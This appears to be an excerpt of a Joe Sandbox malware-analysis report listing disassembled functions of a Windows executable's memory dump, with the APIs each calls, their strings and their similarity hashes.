CharUpperBuffW.USER32 ref: 00007FF7978A98EB

Strings

REMOVE, xrefs: 00007FF7978A98F1
APPEND, xrefs: 00007FF7978A99BE
EXISTS, xrefs: 00007FF7978A997B
KEYS, xrefs: 00007FF7978A9938

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction ID: fbf3410e5e5821167ccf7324dbd1de6a5b798a89a1d5b23246afe381dae2f065
Opcode Fuzzy Hash: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction Fuzzy Hash: 0C41FC22F1DA1381EE786F358445D79E6D5AB14BD4BD80A31CA5D837D4EE3DE8638320

Function 00007FF797869B18 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 121COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF797869B56

Strings

E, xrefs: 00007FF797869BF7
O, xrefs: 00007FF797869BFD
#, xrefs: 00007FF797869BEB

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: #$E$O
API String ID: 3215553584-248080428
Opcode ID: 475178099990ac0353bf962476b95ad540ed5abada18ffefe6575b5c91291a80
Instruction ID: 251f06f058babccacac9b3f37c603943d9364d5e1b9837b1eb3ae6425927d4c5
Opcode Fuzzy Hash: 475178099990ac0353bf962476b95ad540ed5abada18ffefe6575b5c91291a80
Instruction Fuzzy Hash: 2641A422A15F51A4EF61AF3198409BDABA4BF54BD8F488435EE4D07798DF3CD462C720

Function 00007FF7978AB62C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978ACA34: GetFullPathNameW.KERNEL32 ref: 00007FF7978ACA62

Part of subcall function 00007FF7978ACA34: GetFullPathNameW.KERNEL32 ref: 00007FF7978ACA77

lstrcmpiW.KERNEL32 ref: 00007FF7978AB682
MoveFileW.KERNEL32 ref: 00007FF7978AB6B6
wcscat.LIBCMT ref: 00007FF7978AB744
SHFileOperationW.SHELL32 ref: 00007FF7978AB7A9

Strings

\*.*, xrefs: 00007FF7978AB736

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FileFullNamePath$MoveOperationlstrcmpiwcscat
String ID: \*.*
API String ID: 3196045410-1173974218
Opcode ID: 3d99fb60beaa909b16133a9bcb21b6d4d5eca463ec33ffbc4784a3084b69c118
Instruction ID: 9c3b05a0b720d99f788c981d22ac8190104b2e2148aee2d2c1a6503722f29cbb
Opcode Fuzzy Hash: 3d99fb60beaa909b16133a9bcb21b6d4d5eca463ec33ffbc4784a3084b69c118
Instruction Fuzzy Hash: 00412F22A1864395EB30EB34D8415FDAB64FF957C8FC40031DA4D53A99EF28DA2BC760

Function 00007FF79789DF3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978A0730: GetClassNameW.USER32 ref: 00007FF7978A075B

SendMessageW.USER32 ref: 00007FF79789DFE3
SendMessageW.USER32 ref: 00007FF79789E000
SendMessageW.USER32 ref: 00007FF79789E036

Strings

ComboBox, xrefs: 00007FF79789DF5F
ListBox, xrefs: 00007FF79789DF9C

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$ClassName
String ID: ComboBox$ListBox
API String ID: 787153527-1403004172
Opcode ID: 9c499cc6f02fa48c3ac9cb94422f7fd03db359100d80c7e843bbe6ca230b4a14
Instruction ID: a5dda765e48fcb982e9d8c8d1db7298f625951e59d8c3a66365b91ac97d528ea
Opcode Fuzzy Hash: 9c499cc6f02fa48c3ac9cb94422f7fd03db359100d80c7e843bbe6ca230b4a14
Instruction Fuzzy Hash: 8D31C022A1864282EA30FB25E4519B9AB60FF85FD0FD44231EA5D47B95DF3CE527C720

Function 00007FF7978BD914 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET ref: 00007FF7978BD954
HttpSendRequestW.WININET ref: 00007FF7978BD988
HttpQueryInfoW.WININET ref: 00007FF7978BD9D4
InternetCloseHandle.WININET ref: 00007FF7978BDA38

Part of subcall function 00007FF7978BEAB8: GetLastError.KERNEL32 ref: 00007FF7978BEAD4
Part of subcall function 00007FF7978BEAB8: SetEvent.KERNEL32 ref: 00007FF7978BEAE9

Strings

, xrefs: 00007FF7978BD9C1

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
Instruction ID: e530f7e8da48f5883a9977a9a429264587185bdc853146c052fcf2ee86601aa6
Opcode Fuzzy Hash: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
Instruction Fuzzy Hash: CD31C622A1C68296FB70AF32A450E6EAB90FB84BC0F946131DE4D57B55DF3CD4238760

Function 00007FF7978D93E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79783932C: CreateWindowExW.USER32 ref: 00007FF7978393BC
Part of subcall function 00007FF79783932C: GetStockObject.GDI32 ref: 00007FF7978393D9
Part of subcall function 00007FF79783932C: SendMessageW.USER32 ref: 00007FF7978393EC

SendMessageW.USER32 ref: 00007FF7978D94C1
LoadLibraryW.KERNEL32 ref: 00007FF7978D94CE
SendMessageW.USER32 ref: 00007FF7978D94EC
DestroyWindow.USER32 ref: 00007FF7978D94FA

Strings

SysAnimate32, xrefs: 00007FF7978D9460

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 6e660b33d6e4a84e6fd34bbeb61245ead5be6ef8b5cba7022a4468a5647c8c45
Instruction ID: 77c5742d638d24cfb0e2143b2991c5ad1c49bf1db00568f67ccbb55b7c124feb
Opcode Fuzzy Hash: 6e660b33d6e4a84e6fd34bbeb61245ead5be6ef8b5cba7022a4468a5647c8c45
Instruction Fuzzy Hash: C0319E32608781CAE770AF24E444B6AB7A0FB85B90F904639DA5D47B88DF3CD452CB10

Function 00007FF797859164 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF797859184
GetProcAddress.KERNEL32 ref: 00007FF79785919A
FreeLibrary.KERNEL32 ref: 00007FF7978591BF

Strings

CorExitProcess, xrefs: 00007FF797859193
mscoree.dll, xrefs: 00007FF79785917B

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction ID: 128e1e3c5aaf38db113fbecb7fdb60ca187a9a7da8e532be23283b86e8e67fb9
Opcode Fuzzy Hash: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction Fuzzy Hash: F9F04471A19A4281EE64BB21E844A79ABA1EF88BD0FC41035E90F46654DF3CD466C710

Function 00007FF7978C45A4 Relevance: 7.8, APIs: 5, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32 ref: 00007FF7978C4700
#17.WSOCK32 ref: 00007FF7978C4735
WSAGetLastError.WSOCK32 ref: 00007FF7978C4744
inet_ntoa.WSOCK32 ref: 00007FF7978C47E3
htons.WSOCK32 ref: 00007FF7978C4833

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorLasthtonsinet_ntoa
String ID:
API String ID: 2227131780-0
Opcode ID: de181184d64454d02e59459dbd5a64f19f6960c4302c7388feffadca35e45e4d
Instruction ID: f1566dd3c612bc3985045cfc75b17402fa5d9b64356db02dba5b9e4b44ec21f1
Opcode Fuzzy Hash: de181184d64454d02e59459dbd5a64f19f6960c4302c7388feffadca35e45e4d
Instruction Fuzzy Hash: 54A1B122A0864286EB30FB3AD851ABDAF90FF85BD4F844131DE5E47795DE3CD5268720

Function 00007FF7978CE838 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF7978CE8EA
OpenProcess.KERNEL32 ref: 00007FF7978CE8FA
GetProcessIoCounters.KERNEL32 ref: 00007FF7978CE931
CloseHandle.KERNEL32 ref: 00007FF7978CEAEE

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
Instruction ID: c02cbec2216bc1b93a87d974a092a226fcd8eaaa4867c25595acd2383d005e82
Opcode Fuzzy Hash: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
Instruction Fuzzy Hash: 02818E32B0879189EB24AF368455AADABA0BB45FD4F888035DE0D17B96CF7CD522C750

Function 00007FF7978D02DC Relevance: 7.7, APIs: 5, Instructions: 159registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978D1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF7978CFD7B), ref: 00007FF7978D1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF7978D03E3
RegOpenKeyExW.ADVAPI32 ref: 00007FF7978D043A
RegEnumValueW.ADVAPI32 ref: 00007FF7978D04A3
RegCloseKey.ADVAPI32 ref: 00007FF7978D04F4
RegCloseKey.ADVAPI32 ref: 00007FF7978D0503

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 3451389628-0
Opcode ID: 15617fa1357ecb3d846dc9695c1cd625fdbfbd656e758f324f53fc3991267fb6
Instruction ID: 2d312ada924abb201d905da22c1b8e00d2b0101ca81c0fdead78183b43d93409
Opcode Fuzzy Hash: 15617fa1357ecb3d846dc9695c1cd625fdbfbd656e758f324f53fc3991267fb6
Instruction Fuzzy Hash: 80713F32B18A418AEB20EF75D495BBC6B60FF84788F814531EA0D57A56DF38D126C364

Function 00007FF79786E67C Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000010,-00000090,00007FF79786EEAF), ref: 00007FF79786E6D9
WideCharToMultiByte.KERNEL32 ref: 00007FF79786E7B5
WriteFile.KERNEL32 ref: 00007FF79786E7DB
WriteFile.KERNEL32 ref: 00007FF79786E81A
GetLastError.KERNEL32 ref: 00007FF79786E852

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
Instruction ID: dba97af10a11936b8883149a3e82dbee0985c4c083206bf99cc613da35c3ef9c
Opcode Fuzzy Hash: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
Instruction Fuzzy Hash: 0E51D232A14A5199E721DB75E4847ACBBB0FB48BD8F448135CE4E47B98DF38D166C720

Function 00007FF7978D0084 Relevance: 7.6, APIs: 5, Instructions: 141registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7978D1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF7978CFD7B), ref: 00007FF7978D1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF7978D0189
RegOpenKeyExW.ADVAPI32 ref: 00007FF7978D01E6
RegEnumKeyExW.ADVAPI32 ref: 00007FF7978D0250
RegCloseKey.ADVAPI32 ref: 00007FF7978D028D
RegCloseKey.ADVAPI32 ref: 00007FF7978D029D

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 3740051246-0
Opcode ID: 298953672724a5207909a795614b2829bd7d7b99ba66be59e73fbf309c8ee550
Instruction ID: 7243a2bb92a25bc210a1ff699dcc277dc37473d83e28712d6515607ca6076e9a
Opcode Fuzzy Hash: 298953672724a5207909a795614b2829bd7d7b99ba66be59e73fbf309c8ee550
Instruction Fuzzy Hash: 51619F22A18A8285EB20EB75D494BBDBB70FF847C4F804131EA4D07A66DF7CD566C760

Function 00007FF7978CD0F8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7978CC2BF), ref: 00007FF7978CD176
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7978CC2BF), ref: 00007FF7978CD217
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7978CC2BF), ref: 00007FF7978CD236
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7978CC2BF), ref: 00007FF7978CD281
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7978CC2BF), ref: 00007FF7978CD2A0

Part of subcall function 00007FF797854120: WideCharToMultiByte.KERNEL32 ref: 00007FF797854160
Part of subcall function 00007FF797854120: WideCharToMultiByte.KERNEL32 ref: 00007FF79785419C

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
Instruction ID: 86b79f68bf193422a2a008669864eb0caed7069f33c79616ea68bc57ee113f6d
Opcode Fuzzy Hash: c3fd7c48fc9f9c2f8ece9fb323df923621d5475b61cd025522e48c4117cd4c81
Instruction Fuzzy Hash: E1512A32A04B0685EB20FF76D8949ACBB64FB99BC4B954036DE5E47355DF38E452C320

Function 00007FF7978A670C Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF7978A674B
VariantClear.OLEAUT32 ref: 00007FF7978A67C5
VariantClear.OLEAUT32 ref: 00007FF7978A6826
VariantClear.OLEAUT32 ref: 00007FF7978A68B4
VariantChangeType.OLEAUT32 ref: 00007FF7978A68E5

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
Instruction ID: c7d87312cfaead8c16c62e73d47201db92eebe46ddf6c5ea06e3e752056a0a52
Opcode Fuzzy Hash: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
Instruction Fuzzy Hash: 37517577625A54D2DB20EF25D484BAD77B8FB84B80F828122CB4D43768EF39E069C710

Function 00007FF7978B96A8 Relevance: 7.6, APIs: 5, Instructions: 128COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32 ref: 00007FF7978B9785
GetPrivateProfileSectionW.KERNEL32 ref: 00007FF7978B97BA
WritePrivateProfileSectionW.KERNEL32 ref: 00007FF7978B980F
WritePrivateProfileStringW.KERNEL32 ref: 00007FF7978B9836
WritePrivateProfileStringW.KERNEL32 ref: 00007FF7978B9848

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 92b8df45978e0c3636dffb45c437ab285b3a52bf771fcff91e61f9d6d21807be
Instruction ID: 23ad59fbebad10822be72d3fc01d7c57a379bfbf25d91b6316064d957bd48050
Opcode Fuzzy Hash: 92b8df45978e0c3636dffb45c437ab285b3a52bf771fcff91e61f9d6d21807be
Instruction Fuzzy Hash: BA51FD26A18A4682EB24EF26D490569BB60FB88FD4F548432EF8E47766CF3CD452C750

Function 00007FF797831CEC Relevance: 7.6, APIs: 5, Instructions: 124keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF797831D1B
ScreenToClient.USER32 ref: 00007FF797831D3A
GetAsyncKeyState.USER32 ref: 00007FF797831D62
GetAsyncKeyState.USER32 ref: 00007FF797831D82

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction ID: 4141cb17db7f42c06a41854d9702a689010560a86a42012cf5e2a852bf5bf7b5
Opcode Fuzzy Hash: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction Fuzzy Hash: C9511632B056819BE764EF35D444969BB60FB467D4F400231EA5E477D5CF38E4A28710

Function 00007FF79786BA2C Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF79786BB4E

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction ID: 87b3c8d65814f8c97ddc696360849c364ae86b4fc4e41fe1c677848d9c654609
